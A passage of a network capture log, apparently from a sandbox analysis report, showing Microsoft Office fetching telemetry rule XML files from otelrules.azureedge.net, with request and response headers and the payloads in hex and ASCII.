encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:46 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234846Z-r1cf579d778xq4f9hC1EWRx41g00000003mg0000000047f9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:46 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234846Z-r1cf579d778w59f9hC1EWRze6w000000040g000000004su2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234848Z-r1cf579d778d5zkmhC1EWRk6h80000000460000000006cne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:48 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234849Z-r1cf579d778t6txphC1EWRsd44000000049g000000002qu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:48 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234849Z-r1cf579d778w59f9hC1EWRze6w00000003zg000000006a19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:48 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:49 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234849Z-r1cf579d778g2t6ghC1EWRfggs000000032g000000008th0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:49 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:48 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:49 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234849Z-r1cf579d778kr8xrhC1EWRfkun000000049g000000001mdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:49 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:51 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:51 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234851Z-r1cf579d77898tqwhC1EWRf9q800000003q000000000agan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:51 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49811	13.107.246.63	443	7412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:51 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:51 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234851Z-r1cf579d7788pwqzhC1EWRrpd80000000400000000005uva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:51 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:51 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:51 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234851Z-r1cf579d778zvkpnhC1EWRv23g00000003z0000000005v6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:51 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:51 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:51 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234851Z-r1cf579d778bb9vvhC1EWRs9540000000380000000008wxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:51 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:51 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:51 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234851Z-r1cf579d778g2t6ghC1EWRfggs000000037g000000002v79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
